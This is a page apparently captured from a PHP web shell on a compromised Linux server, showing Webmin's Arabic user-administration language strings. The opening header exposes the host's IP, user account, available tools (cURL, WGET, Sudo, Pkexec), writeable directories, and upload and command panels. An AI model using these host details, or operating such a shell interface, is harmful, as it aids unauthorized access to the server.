Private
Server IP : 195.201.23.43  /  Your IP : 18.188.46.93
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/useradmin/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/useradmin/lang/ar.auto
index_pft=Database type: $1
index_pft0=قديم /etc/passwd
index_pft1=BSD master.passwd
index_pft2=العادية /etc/passwd & /etc/shadow
index_pft3=أوامر المستخدم
index_pft4=AIX
index_pft5=SCO /etc/passwd & /etc/shadow
index_pft6=MacOS NetINFO
index_pft7=MacOS DSCL
index_toomany=هناك الكثير من المستخدمين على نظامك لعرضه على صفحة واحدة.
index_find=العثور على المستخدمين الذين
index_userreal=اسم المستخدم أو الاسم الحقيقي
index_usheader=بحث المستخدم
index_gsheader=بحث المجموعة
index_fmode=وضع المباراة
index_ftext=نص البحث
index_gtoomany=هناك مجموعات كثيرة جدًا على نظامك لا يمكن عرضها على صفحة واحدة.
index_gfind=البحث عن المجموعات التي
index_ugroup=المجموعة الاولية
index_users=المستخدمين المحليين
index_gjump=الانتقال إلى المجموعات ..
index_ujump=القفز الى المستخدمين ..
index_notusers=غير مسموح لك بتحرير أي مستخدمين على هذا النظام
index_notusers2=لم يتم العثور على المستخدمين على هذا النظام!
index_createuser=إنشاء مستخدم جديد.
index_batch=تشغيل الملف الدفعي.
index_export=تصدير إلى ملف دفعي.
index_nomoreusers=غير مسموح لك بإنشاء المزيد من المستخدمين
index_groups=المجموعات المحلية
index_notgroups=غير مسموح لك بتحرير أي مجموعات على هذا النظام
index_notgroups2=لم يتم العثور على مجموعات في هذا النظام!
index_creategroup=إنشاء مجموعة جديدة.
index_nomoregroups=غير مسموح لك بإنشاء أي مجموعات أخرى
index_logins=عرض تسجيلات الدخول بواسطة
index_loginsall=جميع المستخدمين
index_loginsuser=المستخدم الوحيد
index_loginsdesc=عرض معلومات تسجيل الدخول الحديثة لبعض أو جميع مستخدمي يونكس الذين قاموا بالاتصال عبر SSH أو Usermin
index_return=قائمة المستخدمين والمجموعات
index_equals=متساوين
index_matches=يطابق RE
index_nequals=لا يساوي
index_nmatches=لا يطابق RE
index_contains=يحتوي على
index_ncontains=لا يحتوي
index_lower=اقل من
index_higher=أكبر من
index_who=إظهار تسجيل دخول المستخدمين
index_whodesc=عرض المستخدمين الذين قاموا بتسجيل الدخول حاليًا عبر SSH أو Usermin.
index_mass=حذف المستخدمين المحددين
index_mass2=تعطيل المحدد
index_mass3=تمكين المحدد
index_gmass=حذف المجموعات المختارة

search_title=نتائج البحث
search_notfound=لم يتم العثور على مستخدمين متطابقين
search_found=Found $1 matching users ..
search_gnotfound=لم يتم العثور على مجموعات مطابقة
search_gfound=Found $1 matching groups ..

uedit_title=تحرير العضو
uedit_title2=إنشاء مستخدم
uedit_details=بيانات المستخدم
user=اسم المستخدم
uid=هوية المستخدم
gid=مجموعة
gidnum=معرف مجموعة
real=الاسم الحقيقي
office=مكتب. مقر. مركز
workph=هاتف عمل
homeph=هاتف المنزل
extra=خيارات اضافية
pass=كلمه السر
none1=اسأل عند تسجيل الدخول لأول مرة
none2=لا كلمة المرور المطلوبة
nologin=لا يسمح بتسجيل الدخول
encrypted=كلمة المرور المشفرة مسبقًا
nochange=ترك دون تغيير
clear=كلمة المرور العادية
sshkey=مفتاح SSH العمومي
home=الدليل الرئيسي
uedit_auto=تلقائي
uedit_manual=الدليل
shell=الصدف
lastlogin=آخر تسجيل دخول
uedit_other=آخر ..
uedit_passopts=خيارات كلمة المرور
change2=تغيير كلمة المرور الوقت
expire2=وقت انتهاء الحساب
class=فئة تسجيل الدخول
change=تم تغيير كلمة السر
flags=أعلام الحساب
uedit_never=أبدا
uedit_unknown=مجهول
expire=تاريخ الانتهاء
min=أيام الحد الأدنى
min_weeks=أسابيع الحد الأدنى
max=الأيام القصوى
max_weeks=الأسابيع القصوى
warn=أيام التحذير
ask=اطلب كلمة مرور جديدة عند تسجيل الدخول التالي؟
inactive=أيام غير نشطة
uedit_gmem=عضوية في المجموعة
group=المجموعة الاولية
uedit_newg=مجموعة جديدة
uedit_samg=مجموعة جديدة بنفس اسم المستخدم
uedit_oldg=المجموعة الحالية
uedit_2nd=مجموعات الثانوية
onsave=عند الحفظ ..
uedit_movehome=نقل الدليل الرئيسي إذا تغير؟
uedit_chuid=تغيير معرف المستخدم على الملفات؟
uedit_chgid=تغيير معرف المجموعة على الملفات؟
uedit_allfiles=كل الملفات
uedit_allg=كل المجموعات
uedit_ing=في مجموعات
chgid=تغيير معرف المجموعة على الملفات؟
uedit_oncreate=عند الخلق ..
uedit_makehome=إنشاء الدليل الرئيسي؟
uedit_copy=نسخ ملفات القالب إلى الدليل الرئيسي؟
uedit_logins=إظهار تسجيلات الدخول
uedit_mail=قراءة البريد الإلكتروني
uedit_swit=تسجيل الدخول إلى Usermin
uedit_ecreate=لا يمكنك إنشاء مستخدمين جدد
uedit_egone=المستخدم المحدد لم يعد موجودًا!
uedit_eedit=لا يمكنك تعديل هذا المستخدم
uedit_admin=الجذر فقط يمكن تغيير كلمة المرور
uedit_admchg=يجب على المستخدم اختيار كلمة مرور جديدة
uedit_nocheck=لا تحقق قيود كلمة المرور
uedit_cothers=إنشاء مستخدم في وحدات أخرى؟
uedit_mothers=تعديل المستخدم في وحدات أخرى؟
uedit_grename=إعادة تسمية المجموعة إذا تغير اسم المستخدم؟
uedit_dothers=حذف المستخدم في وحدات أخرى؟
uedit_forcechange=تغيير القوة عند تسجيل الدخول التالي؟
uedit_uid_def=تلقائي
uedit_uid_calc=محسوب
uedit_disabled=تم تعطيل تسجيل الدخول مؤقتًا
uedit_sys=النظام الافتراضي
uedit_clone=استنساخ المستخدم

usave_err=فشل في حفظ المستخدم
usave_eedit=لا يمكنك تعديل هذا المستخدم
usave_ecreate=لا يمكنك إنشاء مستخدمين جدد
usave_ebadname='$1' is not a valid username
usave_elength=Username cannot be longer than $1 letters
usave_ere=Username does not match regexp $1
usave_eltgt=اسم المستخدم لا يمكن أن يحتوي على العلامة & lt؛ أو & GT. الشخصيات
usave_erename=غير مسموح لك بإعادة تسمية المستخدمين
usave_einuse=the username '$1' is already in use
usave_einuse_a=the username '$1' is already in use by a mail alias
usave_einuseg=the group name '$1' is already in use
usave_euid='$1' is not a valid UID
usave_euuid=غير مسموح لك بتغيير UID للمستخدمين
usave_elowuid=UID must be greater than or equal to $1
usave_ehiuid=UID must be less than or equal to $1
usave_euidused=User $1 is already using UID $2
usave_euidused2=معرف المستخدم قيد الاستخدام بالفعل
usave_ealluid=تم تخصيص جميع UIDs المسموح بها
usave_ereal='$1' is not a valid real name
usave_ehome='$1' is not a valid home directory
usave_esgname='$1' is not a valid secondary group name
usave_ehomepath=You are not allowed to create the home directory $1
usave_ehomeslash=لا يمكن أن ينتهي الدليل الرئيسي$1 بـ /
usave_eshell='$1' is not an allowable shell
usave_egid='$1' is not a valid group
usave_egcreate=غير مسموح لك بإنشاء مجموعات جديدة للمستخدمين الجدد
usave_eprimary=You are not allowed to add this user to the primary group $1
usave_esecondary=You are not allowed to add this user to the secondary group $1
usave_eprimaryr=You are not allowed to remove this user from the primary group $1
usave_esecondaryr=You are not allowed to remove this user from the secondary group $1
usave_emin='$1' is not a valid minimum change period
usave_emax='$1' is not a valid maximum change period
usave_ewarn='$1' is not a valid warning period
usave_einactive='$1' is not a valid inactive period
usave_eexpire=تاريخ انتهاء الصلاحية غير صحيح
usave_echange=تاريخ التغيير غير صالح
usave_eclass='$1' is not a valid login class
usave_emove=Failed to move home directory : $1
usave_emkdir=Couldn't create home directory : $1
usave_echown=Couldn't chown home directory : $1
usave_echmod=Couldn't chmod home directory : $1
usave_eoffice=لا يمكن أن يحتوي Office على: حرف
usave_eworkph=لا يمكن أن يحتوي هاتف العمل على: حرف
usave_ehomeph=لا يمكن أن يحتوي هاتف المنزل على:
usave_edigestmod=نظامك به كلمات مرور $4 ممكّنة ، ومع ذلك لم يتم تثبيت وحدة Perl <tt>$3</tt>. لفرض استخدام كلمات المرور المشفرة العادية ، اضبط <a href='$1'>تكوين الوحدة</a> أو اطلب من Webmin محاولة <a href='$2'>تنزيل</a> وحدة <tt>$3</tt> وتثبيتها نيابة عنك.
usave_edigestcrypt=تم تمكين$4 كلمة مرور في نظامك ، لكن وظيفة <tt>تشفير</tt> لا تدعم هذا التنسيق. لفرض استخدام كلمات المرور المشفرة العادية ، اضبط <a href='$1'>تهيئة الوحدة النمطية</a>.
usave_emaking=Before update command failed : $1
usave_epasswd_min=Password must be at least $1 letters long
usave_epasswd_re=Password does not match regexp $1
usave_epasswd_dict=كلمة المرور هي كلمة القاموس
usave_epasswd_same=كلمة المرور تحتوي على أو نفس اسم المستخدم
usave_epasswd_mindays=Password was changed less than $1 days ago
usave_epasswd_cmd=فشل أمر التحقق من صحة كلمة المرور
usave_eothers=The user was successfully saved, but an error occured in another module : $1

gedit_title=تحرير المجموعة
gedit_title2=إنشاء مجموعة
gedit_details=تفاصيل المجموعة
gedit_group=أسم المجموعة
gedit_gid=معرف مجموعة
gedit_desc=وصف
gedit_members=أفراد
gedit_oneperline=(واحد في كل سطر)
gedit_homedirs=الدلائل الرئيسية
gedit_allfiles=كل الملفات
gedit_ecreate=لا يمكنك إنشاء مجموعات جديدة
gedit_egone=المجموعة المختارة لم تعد موجودة!
gedit_eedit=لا يمكنك تعديل هذه المجموعة
gedit_cothers=إنشاء مجموعة في وحدات أخرى؟
gedit_mothers=تعديل المجموعة في وحدات أخرى؟
gedit_gid_calc=محسوب
gedit_gid_def=تلقائي
gedit_allu=جميع المستخدمين
gedit_selu=المستخدمين في المجموعة
gedit_pri=أعضاء المجموعة الأساسية
gedit_prinone=ليس لدى المستخدمين هذه المجموعة كمجموعة أساسية
gedit_clone=استنساخ المجموعة

gsave_err=فشل في حفظ المجموعة
gsave_eedit=لا يمكنك تعديل هذه المجموعة
gsave_ecreate=لا يمكنك إنشاء مجموعات جديدة
gsave_ebadname='$1' is not a valid group name
gsave_elength=Group name cannot be longer than $1 letters
gsave_einuse=the group name '$1' is already in use
gsave_egid='$1' is not a valid GID
gsave_eggid=غير مسموح لك بتغيير GID الخاص بالمجموعات
gsave_eallgid=تم تخصيص جميع GID المسموح بها
gsave_eothers=The group was successfully saved, but an error occured in another module : $1
usave_elowgid=GID must be greater than or equal to $1
usave_ehigid=GID must be less than or equal to $1
usave_egidused=Group $1 is already using GID $2
gsave_egidused2=GID قيد الاستخدام بالفعل
usave_efromroot=لا يمكنك نقل الدليل الرئيسي من /
usave_etoroot=لا يمكنك نقل الدليل الرئيسي إلى /

logins_title=تسجيلات تسجيل الدخول
logins_head=Recorded logins for $1
logins_from=تسجيل الدخول من
logins_tty=TTY
logins_in=تسجيل الدخول في
logins_out=تسجيل الدخول في
logins_for=على ل
logins_still=لا يزال تسجيل الدخول
logins_none=لا تسجيلات تسجيل
logins_elist=غير مسموح لك بسرد معلومات تسجيل الدخول
logins_elistu=You are not allowed to list logins for '$1'
logins_local=محلي

udel_title=مسح المستخدم
udel_err=فشل في حذف المستخدم
udel_enum=رقم المستخدم غير صحيح
udel_euser=لا يمكنك حذف هذا المستخدم
udel_ealready=تم حذف هذا المستخدم بالفعل!
udel_eroot=غير مسموح لك بحذف مستخدمي النظام (أولئك الذين لديهم UID أقل من أو يساوي 10).
udel_echanged=تم تغيير ملف كلمة المرور. يرجى العودة إلى قائمة المستخدمين وتحديد هذا المستخدم مرة أخرى.
udel_other=الحذف من الوحدات الأخرى ..
udel_pass=حذف إدخال ملف كلمة المرور ..
udel_groups=إزالة من مجموعات ..
udel_ugroupother=حذف مجموعة هذا المستخدم في وحدات أخرى ..
udel_ugroup=حذف مجموعة هذا المستخدم ..
udel_home=حذف الدليل الرئيسي ..
udel_done=.. فعله
udel_failed=.. failed! : $1
udel_sure=Are you sure you want to delete the user $1 ? Home directory $2 contains $3 of files
udel_sure2=Are you sure you want to delete the user $1 ?
udel_del1=مسح المستخدم
udel_del2=حذف دليل المستخدم والدليل الرئيسي
udel_others=WARNING! Home directory $1 contains $2 files owned by other users.
udel_dothers=حذف المستخدم في وحدات أخرى؟
udel_root=تحذير! إذا تم حذف المستخدم الجذر ، فقد لا تتمكن من إدارة نظامك في المستقبل.

gdel_title=حذف المجموعة
gdel_err=فشل في حذف المجموعة
gdel_eroot=غير مسموح لك بحذف مجموعات النظام (تلك التي لها رقم تعريف عمومي أقل من أو تساوي 10).
gdel_enum=رقم مجموعة غير صالح
gdel_egroup=لا يمكنك حذف هذه المجموعة
gdel_ealready=تم حذف هذه المجموعة بالفعل!
gdel_group=حذف إدخال ملف المجموعة ..
gdel_done=.. فعله
gdel_eprimary=This group cannot be deleted, as it is the primary group of user $1.
gdel_sure=Are you sure you want to delete the group $1 ?
gdel_del=حذف المجموعة
gdel_dothers=حذف المجموعة في وحدات أخرى؟
gdel_other=الحذف من الوحدات الأخرى ..

many_title=إنشاء عدة مستخدمين
many_desc=يسمح لك هذا النموذج بإنشاء العديد من المستخدمين مرة واحدة إما من ملف نصي تم تحميله أو محلي. يحدد كل سطر في الملف مستخدمًا واحدًا بالتنسيق التالي:
many_desc2=username:passwd:uid:gid:realname:homedir:shell:min:max:warn:inactive:expire
many_desc1=username:passwd:uid:gid:realname:homedir:shell:class:change:expire
many_desc0=username:passwd:uid:gid:realname:homedir:shell
many_descafter=If the <tt>uid</tt> field is left empty, Webmin will assign a UID automatically. If the <tt>gid</tt> field is empty, Webmin will create a new group with the same name as the user. The <tt>username</tt>, <tt>homedir</tt> and <tt>shell</tt> fields must be supplied for every user - all other fields are allowed to be empty. 
many_descpass=If the <tt>passwd</tt> field is blank, no password will be assigned for the user. If it contains just the letter <tt>x</tt>, the account will be locked. Otherwise, the text in the field will be taken as the cleartext password and encrypted.
many_file=تم تحميل ملف المستخدمين الجدد
many_local=ملف المستخدمين الجدد المحليين
many_makehome=إنشاء الدلائل الرئيسية؟
many_copy=نسخ الملفات إلى الدلائل الرئيسية؟
many_upload=إنشاء المستخدمين
many_elocal=الملف المحلي غير موجود
many_efile=لم يتم اختيار ملف للتحميل
many_elen=Line $1 does not contain $2 fields
many_eline=Missing username at line $1
many_euser=Duplicate username at line $1 : $2
many_egid=Invalid GID at line $1 : $2
many_ehome=Invalid home directory at line $1 : $2
many_eshell=Invalid shell at line $1 : $2
many_emkdir=Failed to create home directory $1 : $2
many_egtaken=Group name already in use at line $1 : $2
many_ok=Created user $1

acl_uedit=المستخدمين يونيكس الذين يمكن تحريرها
acl_uedit_all=جميع المستخدمين
acl_uedit_none=لا مستخدمين
acl_uedit_only=المستخدمين فقط
acl_uedit_except=كل ما عدا المستخدمين
acl_uedit_uid=المستخدمين مع UIDs في النطاق
acl_uedit_gid=المستخدمين الذين لديهم GID في النطاق
acl_uedit_group=المستخدمين مع المجموعات
acl_uedit_sec=تشمل المجموعات الثانوية؟
acl_uedit_this=هذا المستخدم فقط
acl_uedit_re=المستخدمون الذين يطابقون regexp
acl_ucreate=يمكن إنشاء مستخدمين جدد؟
acl_uid=UIDs للمستخدمين الجدد أو المعدلين
acl_umultiple=يمكن أن يكون لدى أكثر من مستخدم نفس معرف المستخدم
acl_uuid=يمكن تغيير UIDs للمستخدمين الحاليين
acl_ugroups=المجموعات المسموح بها للمستخدمين الجدد أو المعدلين
acl_all=الكل
acl_shells=الأصداف المسموح بها للمستخدمين الجدد أو المعدلين
acl_any=أي
acl_listed=المدرج ..
acl_home=الدلائل الرئيسية يجب أن تكون تحت
acl_delhome=يمكن حذف الدليل الرئيسي؟
acl_option=اختياري
acl_always=دائما
acl_never=أبدا
acl_autohome=الدليل الرئيسي هو نفسه دائما اسم المستخدم
acl_gedit=مجموعات يونكس التي يمكن تحريرها
acl_gedit_all=كل المجموعات
acl_gedit_none=لا مجموعات
acl_gedit_only=مجموعات فقط
acl_gedit_except=كل ما عدا المجموعات
acl_gedit_gid=مجموعات مع GID في النطاق
acl_gcreate=يمكن إنشاء مجموعات جديدة؟
acl_gnew=فقط للمستخدمين الجدد
acl_gid=GIDs للمجموعات الجديدة أو المعدلة
acl_gmultiple=أكثر من مجموعة واحدة يمكن أن يكون لها نفس GID
acl_ggid=يمكن تغيير GID من المجموعات الموجودة
acl_logins=يمكن عرض تسجيلات الدخول بواسطة
acl_lnone=لا مستخدمين
acl_lall=جميع المستخدمين
acl_epeopt=هل يمكن تعديل خيارات انتهاء صلاحية كلمة المرور؟
acl_batch=يمكن عرض شكل ملف دفعي؟
acl_export=يمكن تصدير ملف دفعي؟
acl_export1=نعم ، ولكن العرض فقط في المتصفح
acl_egp=يمكن تعديل كلمات مرور المجموعة؟
acl_saveopts=يسمح عند حفظ الخيارات
acl_on=دائما متاح
acl_off=دائما خارج
acl_canedit=يمكن أن تختار
acl_autouid=يمكن لصناعة السيارات في زيادة رقم UID؟
acl_autogid=هل يمكن زيادة رقم GID التلقائي؟
acl_calcuid=يمكن حساب عدد UID؟
acl_calcgid=يمكن حساب رقم GID؟
acl_useruid=يمكن إدخال رقم UID؟
acl_usergid=يمكن إدخال رقم GID؟
acl_udelete=يمكن حذف المستخدمين؟
acl_gdelete=يمكن حذف المجموعات؟
acl_urename=يمكن إعادة تسمية المستخدمين؟
acl_grename=يمكن إعادة تسمية المجموعات؟

log_urename=Renamed user $1 to $2
log_umodify=Modified user $1
log_ucreate=Created user $1
log_udelete=Deleted user $1
log_udeletehome=Deleted user $1 and directory $2
log_gmodify=Modified group $1
log_gcreate=Created group $1
log_gdelete=Deleted group $1
log_batch=Executed batch file $1
log_batch_l=Executed batch file $1 ($2 created, $3 modified, $4 deleted)
log_ubatch=تم تنفيذ ملف دفعي تم تحميله
log_ubatch_l=Executed uploaded batch file ($1 created, $2 modified, $3 deleted)
log_gbatch=Executed group batch file $1
log_gbatch_l=Executed group batch file $1 ($2 created, $3 modified, $4 deleted)
log_ugbatch=تم تنفيذ ملف مجموعة الدفعي الذي تم تحميله
log_ugbatch_l=Executed uploaded group batch file ($1 created, $2 modified, $3 deleted)
log_delete_users=Deleted $1 users
log_delete_groups=Deleted $1 groups

batch_title=تنفيذ ملف دفعي
batch_ecannot=لا يمكنك استخدام نموذج الملف الدفعي
batch_desc=يتيح لك هذا النموذج إنشاء أو تعديل أو حذف العديد من المستخدمين مرة واحدة من ملف نصي تم تحميله أو محلي. يحدد كل سطر في الملف إجراءً واحدًا يجب اتخاذه ، وفقًا لحقله الأول. تنسيقات الخط هي :
batch_desc6=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:class:change:expire<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:class:change:expire<p><b>delete</b>:username
batch_desc5=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:min:max<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:min:max<p><b>delete</b>:username
batch_desc4=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:min:max:expire:flags<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:min:max:expire:flags<p><b>delete</b>:username
batch_desc3=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell<p><b>delete</b>:username
batch_desc2=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:min:max:warn:inactive:expire<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:min:max:warn:inactive:expire<p><b>delete</b>:username
batch_desc1=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:class:change:expire<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:class:change:expire<p><b>delete</b>:username
batch_desc0=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell<p><b>delete</b>:username
batch_descafter=In <b>create</b> lines, if the <tt>uid</tt> field is left empty, Webmin will assign a UID automatically. If the <tt>gid</tt> field is empty, Webmin will create a new group with the same name as the user. The <tt>username</tt>, <tt>homedir</tt> and <tt>shell</tt> fields must be supplied for every user - all other fields are allowed to be empty. If the <tt>passwd</tt> field is blank, no password will be assigned for the user. If it contains just the letter <tt>x</tt>, the account will be locked. Otherwise, the text in the field will be taken as the cleartext password and encrypted.
batch_descafter2=In <b>modify</b> lines, an empty field will be taken to mean that the corresponding user attribute is not to be modified.
batch_source=مصدر بيانات الدُفعات
batch_source0=رفع ملف
batch_source1=ملف على الخادم
batch_source2=النص في المربع
batch_others=إنشاء أو تعديل أو حذف المستخدمين في وحدات أخرى؟
batch_batch=فقط تحديث ملف المستخدمين عند اكتمال الدفعة؟
batch_makehome=إنشاء الدلائل الرئيسية للمستخدمين خلق؟
batch_copy=نسخ الملفات إلى الدلائل الرئيسية للمستخدمين الذين تم إنشاؤها؟
batch_movehome=إعادة تسمية الدلائل الرئيسية للمستخدمين تعديل؟
batch_chuid=تغيير UID على ملفات المستخدمين المعدلة؟
batch_chgid=تغيير GID على ملفات المستخدمين المعدلة؟
batch_delhome=حذف الدلائل الرئيسية للمستخدمين المحذوفين؟
batch_upload=تنفيذ الدفعة
batch_elocal=الملف المحلي غير موجود
batch_efile=لم يتم اختيار ملف للتحميل
batch_etext=لم يتم إدخال نص ملف دفعي
batch_elen=Line $1 does not contain $2 fields
batch_eline=Missing username at line $1
batch_euser=Duplicate username at line $1 : $2
batch_echeck=Invalid username at line $1 : $2
batch_egid=Invalid GID at line $1 : $2
batch_ehome=Invalid home directory at line $1 : $2
batch_eshell=Invalid shell at line $1 : $2
batch_emkdir=Failed to create home directory $1 : $2
batch_egtaken=Group name already in use at line $1 : $2
batch_eaction=Invalid action at line $1 : $2
batch_enouser=User does not exist at line $1 : $2
batch_erename=You are not allowed to rename users at line $1 : $2
batch_emove=Failed to move home directory at line $1 : $2
batch_created=Created user $1
batch_deleted=Deleted user $1
batch_modified=Modified user $1
batch_ecaccess=You are not allowed to create the user at line $1 : $2
batch_emaccess=You are not allowed to modify the user at line $1 : $2
batch_edaccess=You are not allowed to delete the user at line $1 : $2
batch_crypt=كلمات السر مشفرة بالفعل؟
batch_return=شكل دفعة
batch_eother=But an error occurred in another module : $1
batch_emin=Invalid minimum days on line $1 : $2
batch_emax=Invalid maximum days on line $1 : $2
batch_ewarn=Invalid warning days on line $1 : $2
batch_einactive=Invalid inactive days on line $1 : $2
batch_eexpire=Invalid expiry day on line $1 : $2
batch_echange=Invalid password change day on line $1 : $2
batch_instr=التعليمات وتنسيق الدفعة
batch_header=خيارات إنشاء وتحديث وحذف المستخدم الدفعي

who_title=تسجيل المستخدمين
who_user=مستخدم يونيكس
who_tty=TTY
who_when=تسجيل الدخول في
who_from=تسجيل الدخول من
who_none=لا يوجد مستخدمون حاليا بتسجيل الدخول.

export_title=تصدير ملف دفعي
export_desc=يسمح لك هذا النموذج بإنشاء ملف دفعي يحتوي على بعض أو كل المستخدمين المتاحين على النظام. يمكن استخدام الملف في صفحة "تنفيذ ملف الدُفعات" على نظام آخر لإعادة إنشاء المستخدمين الذين تم تصديرهم ، على افتراض أنه يستخدم تنسيق ملف الدُفعات المحدد.
export_header=خيارات تصدير المستخدم الدفعي
export_to=وجهة ملف دفعي
export_show=عرض في المتصفح
export_file=اكتب إلى الملف
export_ok=تصدير الآن
export_err=فشل في تصدير الملف الدفعي
export_efile=ملف مفقود للكتابة إليه
export_efile2=الملف المراد كتابته ليس في دليل صالح
export_egroup=Group $1 does not exist
export_eopen=Failed to open output file : $1
export_euid=معرف UID غير صالح في النطاق
export_euid2=معرف UID غير صالح في النطاق
export_egid=GID الأول غير صالح في النطاق
export_egid2=GID الثاني غير صالح في النطاق
export_done=Successfully exported $1 users to the file $2 ($3).
export_pft=تنسيق ملف دفعي
export_who=المستخدمين للتصدير
export_ecannot=غير مسموح لك بتصدير المستخدمين

gexport_title=تصدير مجموعات دفعة الملف
gexport_desc=يسمح لك هذا النموذج بإنشاء ملف دفعي يحتوي على بعض أو كل المجموعات المتوفرة على النظام. يمكن استخدام الملف في صفحة Execute Group Batch File على نظام آخر لإعادة إنشاء المجموعات المصدرة.
gexport_header=خيارات تصدير مجموعة الدُفعات
gexport_who=مجموعات للتصدير
gexport_ecannot=غير مسموح لك بتصدير المجموعات
gexport_err=فشل في تصدير ملف دفعي للمجموعة
gexport_egid=GID الأول غير صالح في النطاق
gexport_egid2=GID الثاني غير صالح في النطاق

pft_0=Classic <tt>passwd</tt> file only
pft_1=BSD <tt>master.passwd</tt> file
pft_2=Standard <tt>passwd</tt> and <tt>shadow</tt> files
pft_3=Unixware <tt>passwd</tt> file
pft_4=AIX <tt>passwd</tt> and <tt>security</tt> files
pft_5=OpenServer <tt>passwd</tt> and short <tt>shadow</tt> files
pft_6=قاعدة بيانات MacOS NetInfo

umass_title=حذف المستخدمين
umass_err=فشل في حذف المستخدمين
umass_sure=Are you sure you want to delete the $1 selected users? Their home directories contain $2 of files.
umass_others=WARNING! Some home directories contain $1 files owned by other users.
umass_sure2=Are you sure you want to delete the $1 selected users?
umass_euser=You are not allowed to delete the user $1
umass_enone=لم يتم اختيار مستخدمين
umass_del1=حذف المستخدمين
umass_del2=حذف المستخدمين والدلائل الرئيسية
umass_eroot=غير مسموح لك بحذف مستخدمي النظام (أولئك الذين لديهم UID أقل من أو يساوي 10).
umass_doing=Deleting user $1 ..

gmass_title=حذف المجموعات
gmass_err=فشل في حذف المجموعات
gmass_sure=Are you sure you want to delete the $1 selected groups?
gmass_euser=You are not allowed to delete the group $1
gmass_enone=لم يتم تحديد مجموعات
gmass_del=حذف المجموعات
gmass_eroot=غير مسموح لك بحذف مجموعات النظام (تلك التي لها رقم تعريف عمومي أقل من أو تساوي 10).
gmass_doing=Deleting group $1 ..
gmass_eprimary=The group $1 cannot be deleted, as it is the primary group of user $2.

dmass_title=تعطيل المستخدمين
dmass_sure=Are you sure you want to disable the $1 selected users? They can be re-enabled later with no loss of their passwords or data.
dmass_dis=تعطيل المستخدمين
dmass_pass=قفل كلمة المرور مؤقتًا ..
dmass_doing=Disabling user $1 ..
dmass_already=.. معطل بالفعل!

emass_title=تمكين المستخدمين
emass_pass=فتح كلمة المرور ..
emass_doing=Enabling user $1 ..
emass_already=.. ممكن بالفعل!

gbatch_title=تنفيذ مجموعة دفعة الملف
gbatch_ecannot=لا يمكنك استخدام نموذج ملف دُفعات المجموعة
gbatch_desc=يسمح لك هذا النموذج بإنشاء أو تعديل أو حذف العديد من المجموعات مرة واحدة من ملف نصي تم تحميله أو محلي. يحدد كل سطر في الملف إجراءً واحدًا يجب اتخاذه ، وفقًا لحقله الأول. تنسيقات الخط هي :
gbatch_desc2=<b>create</b>:groupname:passwd:gid:member,member,...<p><b>modify</b>:oldgroupname:groupname:passwd:gid:member,member,...<p><b>delete</b>:groupname
gbatch_descafter=In <b>create</b> lines, if the <tt>gid</tt> field is left empty, Webmin will assign a GID automatically.
gbatch_descafter2=In <b>modify</b> lines, an empty field will be taken to mean that the corresponding group attribute is not to be modified.
gbatch_header=إنشاء مجموعة دفعة وتحديث وحذف الخيارات
gbatch_others=إنشاء أو تعديل أو حذف مجموعات في وحدات أخرى؟
gbatch_batch=فقط تحديث مجموعات الملفات عند اكتمال الدفعة
gbatch_chgid=تغيير GID على ملفات المجموعات المعدلة؟
gbatch_ecaccess=You are not allowed to create the group at line $1 : $2
gbatch_emaccess=You are not allowed to modify the group at line $1 : $2
gbatch_edaccess=You are not allowed to delete the group at line $1 : $2
gbatch_created=Created group $1
gbatch_deleted=Deleted group $1
gbatch_modified=Modified group $1
gbatch_enogroup=Group does not exist at line $1 : $2
gbatch_eprimary=Group at line $1 cannot be deleted, as it is the primary group of user $2.
gbatch_egroup=Duplicate group name at line $1 : $2
gbatch_egroupname=Invalid group name at line $1
gbatch_erename=You are not allowed to rename groups at line $1 : $2
Private